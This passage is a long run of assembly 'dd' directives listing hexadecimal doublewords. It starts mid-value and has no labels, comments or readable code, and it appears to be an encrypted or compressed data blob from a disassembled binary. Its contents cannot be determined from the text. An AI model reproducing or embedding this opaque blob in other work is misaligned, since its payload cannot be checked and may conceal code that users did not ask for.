144EFFBh, 0F1D06466h, 0E0E5FF67h dd 0CA054A5Dh, 21F869E0h, 6DF56803h, 8606C7FEh, 0C5988339h dd 7E09047Ch, 3B10C040h, 0C0D0E796h, 9DB71718h, 4C1C3DB4h dd 0E300CF02h, 664E27A3h, 30C0125Ah, 89BE2052h, 8818C7A4h dd 759E82ABh, 0CBD30880h, 4F0CA544h, 0C62CA243h, 2CCC5045h dd 0B7A705D1h, 6317BE38h, 8847EF0Ch, 355F180Ch, 75A99130h dd 0AE59C34Fh, 790379CFh, 91963766h, 0F4400DD1h, 0EBE8D37Eh dd 59EB4030h, 0A83722DAh, 5088F478h, 87FD58CEh, 0BF15437Eh dd 0EFA31010h, 75B0408Ah, 4287A380h, 7BD0321Fh, 0B5A22421h dd 7E0CBBCCh, 0D1284D62h, 0AAF6E30Eh, 5E549E51h, 0DC44320Ch dd 0ACE4482Ch, 1E111EA7h, 8DA38126h, 0D023CBF1h, 0CA08794h dd 9524C116h, 0B980FC39h, 4106E3B5h, 544D071Ch, 42CDA9FFh dd 0C83D5D0h, 2BC230D2h, 27AB1468h, 919458A0h, 143B6E14h dd 88E6E864h, 0CB15C18Dh, 408CE79Dh, 8184FBBCh, 0EC0854B8h dd 0C4802167h, 0ACA3FE3h, 0A550CB19h, 4F165F8h, 0C2215CE0h dd 0C013FE5Ch, 83A4799Eh, 2AAE4018h, 53D187C1h, 38228C22h dd 0E347E48Dh, 0B9C4F215h, 98907C89h, 8D9098BAh, 90E58B82h dd 0AC45A164h, 5C515B61h, 884CB715h, 50CC0902h, 6404D288h dd 87D1204Ch, 0AC48A0EAh, 40FB2837h, 0A25E12E0h, 2D0C3246h dd 80732025h, 0C9946B6h, 8CD0463Ah, 76912CB2h, 0CE0A5504h dd 666688AEh, 16DA28E0h, 720742F4h, 0C2BA9F22h, 25ACA540h dd 82876040h, 0C8281348h, 4680A1B6h, 0C8C99EFh, 8CFEDF28h dd 0E354F313h, 0D6880C3Fh, 24D5EC54h, 64A811A3h, 0A380502Ah dd 0C99467Dh, 8CA60D14h, 0D59C8124h, 10EAF611h, 0B199CE58h dd 0C8A02744h, 61B55852h, 0C1A23412h, 0D879144Ah, 6B74106Bh dd 5061D564h, 0A157DF2h, 11E4922Bh, 0A8DF2927h, 4AC481B7h dd 0A68DB4C8h, 0E430ABD8h, 0AA76589Bh, 502C4D4Ch, 768DA3EFh dd 2FD6B46h, 94A0EBECh, 9B4DBA04h, 448E6E01h, 410553CCh dd 41337824h, 5BDC4243h, 40129024h, 6F7E0210h, 0A6631621h dd 0E452D270h, 10F4C344h, 53EF229Ch, 1F043C8Eh, 795A9130h dd 3C70E814h, 47DC321Eh, 47D895AEh, 0FA80043Ch, 0D77861CFh dd 49DB1440h, 1002507Bh, 0B4598DF3h, 227CD05Ah, 0DF3C2178h dd 0BEB9287Fh, 15005579h, 0F1C3617Ch, 52C6647Dh, 0B78F14D6h dd 30568A06h, 0D05A930Fh, 0B56182DDh, 0ECC500EFh, 0B41E4987h dd 38082D5h, 0CDED4745h dd 909260E2h, 25D89F1h, 0B90218DDh, 5B5B8FD5h, 0EE108ED0h dd 0D8C85E81h, 0E0B2D093h, 785D8D30h, 0C3B8618Ah, 93DFC531h dd 578D590Ah, 10690CD1h, 0F21010h, 0D9B4EF7Eh, 0E0D06486h dd 38C588A1h, 0D0244A1Ch, 5AAD20C0h, 2845843Dh, 72323C20h dd 8812F429h, 7949CE57h, 0DA5F1E78h, 0D8AE19B0h, 0F1420E85h dd 15EE62B9h, 0D53B819Fh, 20EA2230h, 0C3695DDCh, 24340338h dd 587C09h, 0AC821673h, 0F411A15Ch, 0B49D3518h, 491F9A1h dd 96C1C431h, 0C3A4875Bh, 0A91057C3h, 5F09CD34h, 20A2E052h dd 4A075125h, 0A1C4E15Ch, 96101C18h, 363D0211h, 4A34509Dh dd 0D314D60h, 0D0207409h, 4F282C18h, 704A1374h, 20F84823h dd 42481B2h, 92F89147h, 0B830D305h, 0DF6B594Fh, 0FE30C6D4h dd 0DB3179BCh, 9C4B316Dh, 0CDB75182h, 0C882892Dh, 48C8F7DAh dd 4E348714h, 3480648Bh, 942C9C09h, 4C84E988h, 43A8D393h dd 0A5917903h, 189B8F9Fh, 69473930h, 0A20D551h, 12C4905Bh dd 9DC0D91Bh, 1A030FCh, 8325AD21h, 2C8637E3h, 0F26C3116h dd 4C233C4Ah, 4A589495h, 6C920C64h, 0F3390D14h, 0CE9FAED0h dd 0FE308A62h, 0CD38499Ch, 0A9D14C52h, 0A71C4C58h, 0B6540254h dd 0A49094CDh, 64854393h, 3B6331BFh, 0B4B8AC19h, 0E6105CA3h dd 435CF888h, 372A1128h, 8F85099h, 0FD7185B0h, 428DC808h dd 42144EBEh, 2180100Bh, 1642C2FCh, 98441188h, 788E2B6Ah dd 508A1790h, 0FA217C28h, 8B2A4223h, 106AE824h, 2FA23916h dd 87222010h, 302772E2h, 5C99524Ah, 0A2426C24h, 601929BBh dd 55D1004Eh, 60D948E3h, 5A3F3581h, 4061B236h, 0CFC06122h dd 9038B13h, 4E3DABD2h, 1D9022C0h, 1609D963h, 54C4B110h dd 1E1EB191h, 0CF067B2Bh, 4010D1E6h, 4153D02Ah, 20584338h dd 792B6524h, 6B70055Ah, 0B53C601Ch, 0A230346Ah, 451511B7h dd 0A0CD52BAh, 0C964DB26h, 4109481Bh, 10898D81h, 98D639F0h dd 103A4354h, 38402EBBh, 6B591835h, 11DE1132h, 3D5CE41Eh dd 5A5DD700h, 0FB5248Ch, 9AA073CCh, 0E353EBA0h, 0C1147AABh dd 24AA35h, 0B44AC38Ch, 1E3B248h, 7267537Bh, 0F7F24FA4h dd 9CB821C9h, 48C29128h, 805B4562h, 0CEEAC454h, 333816ACh dd 0E16E0035h, 971D0180h, 2B2696F0h, 0C3005C29h, 0A28D711h dd 0AEBB0A1Eh, 0C48ABh, 6983D42Dh, 86207E3Bh, 4BF30943h dd 0B4E06E87h, 330650B0h, 23067EBBh, 9E42520h, 312080AFh dd 1EDD0EFDh, 0CF439500h, 0FA17DC96h, 7CC300D8h, 0A14E5953h dd 5A0092F3h, 0F4F3DC0h, 6FB237A9h, 599F6014h, 220919B5h dd 1BD70000h, 157A35A6h, 2DA40277h, 2CCD4A92h, 4F26C8C0h dd 85482748h, 14C80983h, 0F2FE3F51h, 9918D380h, 5CCFBA81h dd 0BB8CF101h, 13412733h, 10AC3990h, 0D50C20E7h, 0F898FE92h dd 935B7300h, 525DDB53h, 38F90C72h, 39C87E6h, 27EF8B03h dd 0A0ED902Dh, 1CEC91F4h, 805BFF78h, 0FBAE8854h, 337CF035h dd 77021700h, 72E516BBh, 7AE9E4EFh, 2D1D1F8Bh, 282E9B79h dd 0F891110Fh, 0FE758016h, 78E73Bh, 770117BBh, 5AF372FFh dd 9001C2DFh, 85F03AEFh, 700322E0h, 0F41C0391h, 8D52B98Eh dd 0BE04B846h, 8545FEE0h, 84B420E7h, 0F520B90Ah, 0A581877h dd 104D627Ah, 0FE60C7A1h, 2DB050CFh, 70046103h, 0CBD669F3h dd 8180062h, 8965CDD7h, 7D0C6859h, 48CA57E5h, 0FA4700EEh dd 0FDE167A4h, 0C002275h, 299EC0CFh, 0EC8F43h, 0D1CD5F6Ah dd 0DF7CC7D9h, 2AA86903h, 909855E1h, 4C65ECh, 93410375h dd 36C57B10h, 0F4948F00h, 28F1E79Eh, 96C018A8h, 5FEE18CBh dd 703A3C31h, 2FE1DDA9h, 8D344040h, 0D95B618Bh, 8CEB4CF5h dd 0F9E55208h, 69A902CDh, 0A2FC0A7Dh, 88B5E18h, 0BA1AB811h dd 8B9FC3F3h, 5610013Eh, 0D21272CEh, 10688250h, 248DD3Ah dd 4C0FA464h, 0CE9AF814h, 9FC70881h, 0C6402CDFh, 3CB1B20h dd 0CE572276h, 7829827Dh, 0E00AD4B5h, 0F1508C7Bh, 9B89114Bh dd 0A81B6A9h, 618C9AD2h, 8C731588h, 110ADB03h, 85ABDA14h dd 0C48DFB2h, 6C1F8C54h, 76C3F8EFh, 0E7C206ADh, 0A15789BCh dd 48896948h, 2831DC9Bh, 6445E293h, 4983C371h, 87E4C871h dd 0D85A2FE1h, 51F82332h, 0F6BB2E07h, 72208AECh, 1EF885FDh dd 0FC730331h, 0C578F22Ch, 0ED50812Ch, 54C3E217h, 19972DE0h dd 8E34FD00h, 51F026F8h, 8B4F14D6h, 7EC04437h, 3ADA3FD0h dd 51DF10Ah, 0F761043Bh, 3CF13312h, 8000C4Dh, 502DF3A6h dd 0A65420E5h, 1FAF2930h, 10551F08h, 5B0FDF46h, 0A0678A4Ch dd 13DD4074h, 0C8E311CAh, 177361E4h, 0FF89217Eh, 4F10E05Fh dd 431B3ACAh, 0E9999588h, 104D2509h, 0CBF10819h, 13700404h dd 0B76309B1h, 1379C19Ch, 960C48C1h, 408CBC56h, 1D1BAF50h dd 96285019h, 94C6431h, 9146484Dh, 44502247h, 5B895A51h dd 55245412h, 4F914E48h, 59445822h, 12438942h, 4F3D243Ch dd 36B8036h, 70B06302h, 975D2910h, 0B8653AF4h, 51842C54h dd 54D604A5h, 0A03B085Eh, 1C38EDBCh, 83A852E0h, 589502CAh dd 0E894C3E1h, 2E1C7044h, 0E687E153h, 0F867F238h, 10E74AC7h dd 0C0C762C4h, 0F0C340EDh, 812EB7CAh, 70430023h, 0FDF4F88Eh dd 94C082E0h, 87FED748h, 9255FF04h, 88B3DFh, 45FC0B7Bh dd 8B0A12A7h, 4A540DF1h, 0FE89B038h, 0A35D101Ch, 0F14203DCh dd 2245631Dh, 18824409h, 5DF50417h, 4474D4C0h, 0D3DC0112h dd 0C0E08E1Dh, 751041C7h, 3895F613h, 0D292AC60h, 1F9B7F44h dd 38D76212h, 6A185830h, 2B3D5C3Ch, 36EE0591h, 1C0F5708h dd 0EA958354h, 334FF8E1h, 5E28A4DFh, 6E4A76Fh, 95500609h dd 320A10B9h, 5EF8753Dh, 1B0C9203h, 0C0B94541h, 0DCAF48h dd 0F9770419h, 0FBAE51FDh, 78F43801h, 53541CFEh, 72F0A0CFh dd 622700EFh, 0EC20ED76h, 131FFE74h, 3381A494h, 270C8803h dd 7A028AD0h, 0DC92002Dh, 1987EF11h, 0F1F8E933h, 0EC5A40C0h dd 58EF016h, 90EF3822h, 405EDBh, 0F23BF185h, 523A0A76h dd 27F70F39h, 0D83014E9h, 29E62E98h, 821CFE84h, 77E73313h dd 0F9948D00h, 85E90A38h, 68602EF8h, 0E69755ECh, 0AC83A4E8h dd 0F2A1275Ch, 7E185D1Dh, 22AA4CCh, 1DB9473Fh, 2CB884FCh dd 77030339h, 450238EAh, 7F61E0ADh, 0E5FE29B9h, 8D9F38h dd 98617807h, 0F31439F8h, 0A414F772h, 0FEDB4070h, 7510058h dd 0FD90E811h, 7F2AF133h, 0F904F8F8h, 0AF49F51Dh, 0C0BA9CCAh dd 0F60C7A62h, 0EAE004Fh, 0DCA74519h, 801D0267h, 88032BECh dd 0E8422FFEh, 4C032607h, 7874008Bh, 5428C185h, 24611DBEh dd 9000FE98h, 7F2960F0h, 9FEC1CFFh, 5063F043h, 0D7368D28h dd 645B0192h, 616CA020h, 3BED1277h, 50EC1AFFh, 435D74B0h dd 54915165h, 80AE1CCBh, 91F30DACh, 0E93901F9h, 59220E33h dd 98B22A72h, 580F02C9h, 638559C7h, 0B9A2F020h, 43A862F5h dd 0B777D1D0h, 0F4E9E8E1h, 0EE844089h, 0EFC7C08Fh, 0BB87A03Ah dd 8674E62Bh, 8C10D4h, 0FF728854h, 2C91EC2Fh, 0B701D02h dd 480716EAh, 832D82C0h, 8AE8A040h, 8710EF63h, 79601FF3h dd 88013902h, 8EEC16BBh, 0D8B12AFEh, 5A2D4081h, 0EB3417F8h dd 7878C878h, 0D7D45A95h, 9894EC60h, 9584ECA0h, 0FAF7D059h dd 0F81EF894h, 0BB17F022h, 0F152D460h, 33592C2Ah, 8727C760h dd 76EAA016h, 86E01DBBh, 5CA5B893h, 89FF7AB0h, 840E575Ch dd 0E800E689h, 0F2752D38h dd 0F83085F9h, 7C85E516h, 787072FFh, 0D85F0C7Bh, 0EF2CFDACh dd 9685C474h, 0B48231FAh, 13E4CEFEh, 32F42DBBh, 98C0FD0Ch dd 2658EB86h, 48FE3ADCh, 28DF74D8h, 1227EC0Bh, 0BB1C40C4h dd 1D09C533h, 29C485E6h, 502CF3E4h, 0D58EC0ECh, 8187CB4Fh dd 0EE905C20h, 7C76E3D3h, 3AF87C69h, 1D2E8FF2h, 84E64220h dd 3C902C96h, 0EC8082F9h, 6185F416h, 5880FC34h, 0F8742D1Ch dd 867CFD2Fh, 8052B0CCh, 18765263h, 0F0175048h, 0EB0CDB69h dd 0A9C007B2h, 84B6187Fh, 0E3892741h, 7C9E1EEEh, 0A781821h dd 0F8860004h, 0FE895016h, 68A7E938h, 5270C78h, 16EE8B62h dd 38D88159h, 0EC64745Dh, 31FE8F1Eh, 0F8B618AAh, 33835068h dd 0A04C020Ah, 5C031C1Eh, 4B7E2091h, 76F0AD8Bh, 440E2A4Fh dd 0F88A822Dh, 273C7938h, 4E52D498h, 707EFE8h, 1C0289E6h dd 27F69140h, 11872EE7h, 0EA8B008Ch, 0BB76F12Ch, 0AA641302h dd 8B0207BCh, 8850019Ch, 21803BF3h, 0ED87F527h, 2E8F233h dd 80E7392Eh, 0C8D8F092h, 0C0B0768Dh, 0F1DA468h, 0EA5091F3h dd 34A58580h, 17EE94D8h, 0DD87F427h, 0E0340B50h, 5F0239F8h dd 0AB906077h, 595038FBh, 541D72F0h, 500013A3h, 339ED85h dd 3AF01B34h, 5BB021ECh, 0F43A1CEFh, 0C83B2874h, 301DBB4Eh dd 54E0982Dh, 21809C18h, 7E10A938h, 0EA0D627Ch, 0F0A4E91Ch dd 0D7FC8AF0h, 3460C028h, 1C90EE96h, 0E521DC80h, 20F78A30h dd 1D16E376h, 4FC7303h, 0E1F990ECh, 2AE077B8h, 1D51C4DBh dd 1E8C0880h, 0F860BB4Eh, 7CE73B01h, 0D8026D77h, 4785D588h dd 3A3497DCh, 0E8D820D0h, 1D3302F1h, 0F474E62Eh, 0BC20463h dd 80728084h, 0D66D313Ch, 0EFB02D50h, 85BBF0A9h, 12F87960h dd 0B930DCF3h, 30BB8E28h, 1416E9C8h, 0C89658ECh, 1E5DF6Ch dd 4885FDACh, 0A3312BEDh, 83FA76D4h, 2944F748h, 32A5F472h dd 48F07A64h, 0F4E20EEh, 1181F430h, 0F388033Bh, 1668E8F6h dd 3809F0C0h, 0FF1845F0h, 79B4405Ah, 0F42126EFh, 5D8038DCh dd 8D27F98Ah, 0BB7BA0ECh, 0E55A31C0h, 0F2F3B0FDh, 640300EBh dd 504F619Ah, 0DB3D1242h, 36BB8B10h, 2E13008Fh, 0E16733h dd 83D3CDD5h, 2B9F1114h, 59895D00h, 0D48B17DBh, 9BB23027h dd 3AE95228h, 9FD0B01h, 795E2414h, 0AB5878B1h, 47EE00C6h dd 69BE0067h, 7CE2A9E1h, 0B830CD03h, 0EF5321F2h, 0A45D2941h dd 0A97AE220h, 0EA0A3030h, 80B60755h, 8050CF70h, 8D547314h dd 315DE80h, 34426DDDh, 8E9BC96Eh, 0EB051EBEh, 92BAFA53h dd 7A2D9041h, 0B0C40B9Ch, 144619C0h, 80890898h, 9DA25421h dd 0C310A29h, 43C4DE5Dh, 862B8D70h, 3D1064E2h, 0B5A9553Fh dd 89C031D8h, 22805EC0h, 0C14D6343h, 30DB18CFh, 0E8E08FE1h dd 42FB5C05h, 2C836CFCh, 5AE80433h, 660C08EAh, 820D279h dd 9421C467h, 1707870Dh, 60ECCA4Fh, 2D6A2644h, 0DA0A08A0h dd 0EC072C92h, 1FD17462h, 0A3D246B0h, 14C605E1h, 4B4F172h dd 5C3DE2FCh, 0DE5C6B01h, 88503C74h, 0C02CC87h, 0EA9CEC62h dd 80052C9h, 9FD7DABFh, 2B7C6859h, 101C7B5Ah, 0D8BC4BBAh dd 5ABE5681h, 3CB02FC7h, 0A050C23h, 92D9706Bh, 0D9009679h dd 0EAB2757Ch, 3D7F455h, 598FFC84h, 293B5608h, 0E0D4B2C2h dd 196D20E3h, 497E5811h, 550C1890h, 8842F0DEh, 51749112h dd 0D4180D64h, 462E4687h, 4962201Ch, 218408BCh, 0E73463A9h dd 74C7493h, 14577259h, 37E9500Ah, 3966D3DFh, 213F08h dd 93145E10h, 338C6C40h, 68457800h, 0EF0AF54Ch, 0C85563DBh dd 31005773h, 0F683B613h, 35917Eh, 70EFAE02h, 0A5C9B30h dd 6290D154h, 14C2A100h, 12046C66h, 6B1A0050h, 7EEF958Bh dd 1E0319AAh, 0CED92A3Ah, 2CD1068Fh, 70627FD6h, 0A0EFB0A0h dd 0B0E13828h, 8ABA0D18h, 1A86429h, 7D408E06h, 0FC87E1BDh dd 8127443h, 8403D0B7h, 0C1D5127Ah, 10ABCA57h, 0E141D838h dd 310038Ch, 772FEF0Ch, 0B08A801h, 4B8F9F09h, 3ABF5C41h dd 0D7860885h, 828846CEh, 0D81E594Eh, 7744AF0Ah, 0A9818EE4h dd 0EA209645h, 0F0909912h, 0C28F8E7Dh, 1178E7Dh, 0FAB304E9h dd 0A2783327h, 0A3A83095h, 47063A03h, 909CEB81h, 66D4866h dd 3D6CF36h, 0C06F044h, 0AC0F20D5h, 4B8B0988h, 0E7013B08h dd 2FDE3FEBh, 4C5054F3h, 0CEC88B1Bh, 0FB974E80h, 27739260h dd 518E2F70h, 0E0AB3D07h, 8E8520F6h, 7102C3FEh, 2FE98AF5h dd 88C40Ah, 1BCF8723h, 0D76B5A38h, 283E407h, 56617143h dd 0B0238CE0h, 31C068A7h, 38D98026h, 0E8D1325Fh, 0CF586CD0h dd 72A09779h, 0D44A503Eh, 5B01E476h, 5F18738Fh, 30949A0Ah dd 0D23C001h, 49C7D01h, 9A18A80Bh, 9DA5988Bh, 0CD2D3C6Eh dd 99935E00h, 16B84DFBh, 0E1B4D454h, 0E390FC06h, 1B15074h dd 98726FD3h, 0E09DDF7Ch, 6B5008C7h, 57905CB0h, 90444634h dd 79C88CBFh, 0C098542Bh, 5E52F501h, 0AC50DE0Bh, 0D109BBh dd 99296280h, 30114A57h, 21C0C7E8h, 0EDD20120h, 0E0B400E1h dd 0ABE8C529h, 761F2840h, 0A9819A88h, 257EADDh, 84D3A050h dd 0EF0E1FC6h, 4A5F06FFh, 630C182Ah, 98DEE308h, 2CA0A619h dd 0DCD8EA0Dh, 0A0869200h, 8BF0E08Dh, 1D223CB3h, 34DFAD05h dd 768C0166h, 42431FC5h, 40325D7Ch, 0D1627B8Ah, 0C6227CF0h dd 0D2021B00h, 4034B0E7h, 1D2F00EBh, 0CFDFF1DBh, 0A46A6510h dd 3F3CC8h, 142A7C5Dh, 32A1D2EEh, 16F8D176h, 0EA90C8A4h dd 14AF9C88h, 446052F6h, 7ED1FF80h, 0C0A73962h, 0D1F71E07h dd 0F300FDE5h, 0A8F11BBFh, 0BBF41EA5h, 0E983C0A1h, 1CED5F14h dd 540978A4h, 144FB0DEh, 638481C0h, 0D1040418h, 3101627Dh dd 1D20C432h, 7790D1FCh, 3F390023h, 0D2B3EB7Ch, 62057A73h dd 0E590952h, 0FC5C888h, 34DDA84Ch, 4349532h, 0A0B9E7B5h dd 1A294F40h, 99438C32h, 10803F4h, 708D427h, 2FE01905h dd 2404A306h, 0DCEAABFBh, 76019734h, 0A7B12922h, 8C28FBD1h dd 184B6180h, 872430FEh, 0D70428C6h, 50D04503h, 8240CCDEh dd 204C784Ch, 552200h, 28434FCEh, 0F4B42F7Ah, 0D67D8B02h dd 5F74ED86h, 5B3A0E8h, 0E2012CE4h, 6C59626Fh, 2DC0A230h dd 73D302DDh, 0D80A567Eh, 5B1AA8A0h, 7900A3C1h, 95392703h dd 4E515CC4h, 0C130B840h, 6D01DB8Dh, 88F0428h, 0E8EA5642h dd 98113A31h, 1BB8CC11h, 0FB57F700h, 0EBBB5D09h, 0CE6424C2h dd 4A706158h, 0D3B98053h, 0CA3728E3h, 11A099E7h, 145583A3h dd 3139AA04h, 6412114Bh, 0B3692087h, 6242A21Ah, 569B3860h dd 9A287001h, 3F1FD70Ch, 0D2FBAC40h, 0ACAA74D9h, 30B8C0FCh dd 0B71FF614h, 6C8B5602h, 41D4DDD6h, 5186294h, 247CD13Dh dd 1C70D809h, 0BDD100FDh, 99597820h, 0E718F57Dh, 29600D7Bh dd 90546250h, 68054DA7h, 108C5C8Ch, 4463F9Eh, 1CA2C656h dd 910E1403h, 6994C0F0h, 51BB7D02h, 40FD7101h, 8025F6F0h dd 0AB2608DBh, 21506CDAh, 7BD200EFh, 3C8A7D6Bh, 5261EF5h dd 465E44F7h, 26E000C7h, 1AB89198h, 0C0FEEBA3h, 826A44BCh dd 18114061h, 819C5C81h, 32BF8813h, 4F20A0A0h, 24359DA9h dd 404C0B3Dh, 40B8AE19h, 0DCDED600h, 1246D2BDh, 0C87149A0h dd 7A56D320h, 0ECED0290h, 0A1906A47h, 0B5CAC084h, 7D687200h dd 0FE70C09h, 0C6B8216Fh, 0C107668Ch, 775A87C7h, 4F7D0008h dd 1D2CBE3h, 0DF10005Eh, 98A6DD85h, 0DA017838h, 4FEA3054h dd 7089262Eh, 0DC30CE04h dd 97DE597h, 70E750Ah, 0EF60F06Ah, 0B12A779Dh, 56005684h dd 76F797E9h, 604B5810h, 0A0EFE837h, 30905F07h, 0FB8059E6h dd 0B89154BAh, 1A510069h, 8C01F6D6h, 0AE00EE6Bh, 9FB65D37h dd 7DE87E2Ah, 4ED57180h, 0D884E872h, 9CF7DB7Ah, 0A1066708h dd 18F8EA58h, 0F968868h, 3003A4E6h, 0EA86BA67h, 0C2C104E2h dd 91372CCFh, 0EA27BE78h, 90EEF304h, 5B19EA70h, 7509CE16h dd 0A2912437h, 0B833ED78h, 0A6231448h, 7145805h, 14988F84h dd 8D008A40h, 23184D14h, 415C7118h, 0C08CBA19h, 8BB0E2D9h dd 0F900B94Ah, 0A10D6017h, 2E7D1985h, 25300855h, 3B918C97h dd 0F9731C80h, 0EB3E1681h, 0C0793147h, 49BE88BBh, 0F6B0D13Dh dd 0FFE9B9C4h, 94E1CD09h, 0D2F002B4h, 9FE088Fh, 0F0149A47h dd 48F40724h, 227DA08h, 0AE3318DBh, 3BF38048h, 5985EC05h dd 6499CAD4h, 24345EC0h, 8B9C9A26h, 68315B04h, 0A101F3BAh dd 0B232439Ah, 93C87355h, 0EA7B075Eh, 0A2227504h, 0F0CAE8B6h dd 0E8633C87h, 0B0AA821Ch, 0E38348h, 2F9FBCD0h, 2797172Bh dd 0E4745E80h, 32D92E6Fh, 9F0AF4D0h, 0B45940A7h, 3FC8DF18h dd 0E377E560h, 1679B5F8h, 704F2528h, 0CDD6C0CCh, 0A2F3EA81h dd 94300B43h, 0C23457ECh, 0E800188Dh, 0F46993D2h, 0EC095813h dd 16D47310h, 50205770h, 4AFB205Bh, 0BB1828BDh, 911CEA00h dd 5A4E6C3Bh, 3A18C099h, 92F2ADAEh, 0ED9EB605h, 54224AA2h dd 0A46E77ABh, 27EF0C08h, 850246Ch, 65174414h, 890B4h dd 0A35363E2h, 3ABFD0AFh, 0B80AD2F2h, 9C41E0B9h, 35C6D80Fh dd 0C42F4AA0h, 34009B23h, 0DA44EE08h, 1369B206h, 3D05805h dd 7F4A79B0h, 0A956F6C0h, 53A3F404h, 6CD360D6h, 0CE441DEBh dd 0F21137C8h, 0A0A04673h, 0F0670E4Fh, 5E479900h, 1B684E58h dd 5B431F0Ah, 0E9CA0091h, 553221D4h, 350D38h, 9EC741C5h dd 10E352h, 6CD35126h, 5547645Eh, 4168C918h, 32C4E748h dd 0C8194BC0h, 0ACEC610h, 0B3516CAFh, 0CB590110h, 0C44C5F0Bh dd 8C76B467h, 0B2E518C1h, 0FF053A77h, 6DB6D881h, 6F084980h dd 75E60419h, 0EF423C07h, 7A463D85h, 972A0021h, 6096BF1Ah dd 91005578h, 8DDC891Eh, 73D1676Ah, 11A500A8h, 0DEA4C15Dh dd 5E005518h, 0D958DB4Eh, 0C72A4FDAh, 63756878h, 19D13CFEh dd 19661E6h, 409070h, 16BAD3h, 514C4FB6h, 0EC068211h, 43F88C10h dd 79125802h, 209E8A91h, 0FB50723h, 8E40EC96h, 76A4D817h dd 0FEA00D60h, 2C767CFh, 0DF65837Eh, 9CAFBFBAh, 89D16B80h dd 7800C9C8h, 4268EB8Ch, 1E866A32h, 434611A0h, 0F6AF3623h dd 0CD5BB9B8h, 7E02AC19h, 1421CB58h, 0C06AF400h, 8E6202FEh dd 61B765DBh, 276BA8A0h, 0A5002D0Dh, 19D81A0Ch, 0E8FB0910h dd 1267B51h, 4BA391B8h, 9F4D58C8h, 3D471850h, 0F8937B6Ah dd 68490047h, 36898221h, 620C8DD8h, 89DC054h, 8321C055h dd 971E898Bh, 9E03E007h, 0E4C61D0Eh, 22385841h, 5837647Ch dd 898560FDh, 65D82331h, 861B5611h, 0C3F0208Eh, 0B43FE394h dd 47790710h, 2C25CADFh, 2C3AA40Ah, 2D465Ch, 3CC1B9F3h dd 2CFD738Dh, 193172Ah, 0F1966830h, 6E802448h, 86023100h dd 5C25DCD7h, 8146FCFh, 380D21D8h, 54C0200h, 0DF574D62h dd 0AF65005Bh, 8E4576DCh, 0A828FB77h, 0EEF5D43Ch, 5E566F40h dd 0C09368C8h, 0D7830236h, 47222446h, 23D0801h, 9DF8B0B8h dd 7BCA90C0h, 0A0043AC0h, 40F0FB00h, 0B3E76D98h, 2B1BB500h dd 4C5C49EDh, 82C41061h, 0C872284Eh, 115AF937h, 69AC0660h dd 0B0D0CDFh, 4209C745h, 0FE9821C0h, 1F199ACh, 0CA92D812h dd 5054408Dh, 0F2268BA4h, 114C3400h, 0A6FC1659h, 99500024h dd 25FB9146h, 0B6725ED5h, 0C94FDC30h, 507C9371h, 16E8837h dd 6B8D17Eh, 4466FADCh, 5714018Ch, 3954E3h, 49DAA4C2h dd 0D064F80Ch, 303F3263h, 0DFFAAC07h, 4B221546h, 0ACFF8700h dd 6F2E5543h, 3208248Ch, 0B33107E8h, 0CC2DC98Bh, 3891A070h dd 3E239B43h, 6BAC0538h, 0A038FDDFh, 0ACF83E9Ah, 0BAFDA701h dd 300D1D51h, 4E442434h, 52D42A55h, 0EFC12CA8h, 0CCC406A5h dd 49C12170h, 249BC33Fh, 0DDCAA084h, 92208202h, 82EC3531h dd 223C46D7h, 1097C3Ah, 770A3802h, 0F0232748h, 2C387B30h dd 9C1B0097h, 0C25545ADh, 78446903h, 7911E01Dh, 8C60A98Fh dd 0D4E72E2Dh, 0C8512C32h, 22BCE1D1h, 61DAB052h, 8D006A90h dd 4B511CEBh, 68499EF4h, 0B946D8CCh, 196461B7h, 30D9B93Bh dd 0D500FAF2h, 7C9714CBh, 0C4B1A5h, 46BAB793h, 8CE88F3Eh dd 794DAA15h, 44EB3AB0h, 62DC1AD8h, 0B84E7876h, 47B2D20Ch dd 0C0A030h, 4DA282C7h, 4BEA858Ah, 0D2E55B06h, 0EC20502Bh dd 9A5090D4h, 7DC21604h, 23783E0Ah, 9590076h, 0AB9A391Fh dd 0B3501306h, 995055FFh, 525380F0h, 38C67C6h, 0E7F9700h dd 429554FBh, 69D1766Ch, 600EC988h, 700C4E43h, 0D1056FF2h dd 0F6C47BC0h, 3AF8D27Fh, 3A2370h, 0BF402291h, 0BD0A9BD7h dd 0D8B6989Ch, 77B4AA40h, 647806A9h, 0C1DBC2DFh, 58923703h dd 152B3C3h, 0D2105110h, 25B7DAh, 51B0C4E3h, 0AC4EA43Eh dd 7300639Fh, 0B3E05A7Dh, 0A54300ECh, 0E413EBC1h, 7464BCD4h dd 70808858h, 0FDCAFC72h, 70605CE5h, 899F9h, 22EFC6A4h dd 0ED01D4DEh, 49B88EE8h, 0DF4349Bh, 62C10054h, 55861FE6h dd 89311699h, 419860F8h, 9CC08F02h, 3F58E109h, 0C7F301C4h dd 0CF35CC0Eh, 98266570h, 0D0910579h, 435347C2h, 3350D384h dd 39FF4015h, 3C0500B4h, 0CD5F0E0Ah, 0DF79DEh, 3F8BAE9h dd 0C99BB619h, 315D940Eh, 104729CBh, 0C3CE7038h, 7B6D3041h dd 794C0878h, 0C2D48128h, 5470CA10h, 0CCCE3938h, 0D705BC49h dd 15D99EBh, 6DC0788h, 0D188075h, 0DF87C6C7h, 38CE5CA9h dd 8994C9F4h, 8B6B1120h, 0C0280094h, 1E46F513h, 185B475Fh dd 0C2618836h, 0D1B89854h, 0B3517809h, 471C8491h, 50C17FC6h dd 40D88C4Eh, 0D7167859h, 4620FBh, 4156F8h, 706C6EB6h dd 0C35B64A7h, 9151F100h, 66ACD0A1h, 0CAD11260h, 4740802Bh dd 38D259BEh, 0F036380Fh, 7C9BA514h, 0A6AD7D77h, 93D1083Ch dd 0FC3A2814h, 0F82D9003h, 28352666h, 0E8BC7F60h, 5A9B2AB2h dd 0D9AC99C4h, 1C11840h, 0A03E01DAh, 506AD456h, 0BC8CE584h dd 808C3D48h, 33E1DACAh, 5CF84868h, 3ED0780h, 5900D461h dd 0D01E5DA8h, 5AD346Dh, 26DA98A0h, 97540465h, 41E0223Eh dd 80509D84h, 5ACD891h, 0F31758D6h, 4F840B50h, 2DAF8810h dd 0FC9ED80h, 55EB54E6h, 0D35880B8h, 0C649624h, 40A6E942h dd 0C757F880h, 0A0F5C6A1h, 402CB669h, 24FEA07h, 0F20E575h dd 252A1050h, 1490F3B3h, 684053F0h, 0BCFF0E83h, 0A1A05B55h dd 5E2D25AEh, 213CDD31h, 94507EB7h, 12D915h, 44809E7Ah dd 8A7BF402h, 0A73ED30Fh, 0E93B6F8Dh, 7A808286h, 0F85D6058h dd 12324A29h, 909C0570h, 20081855h, 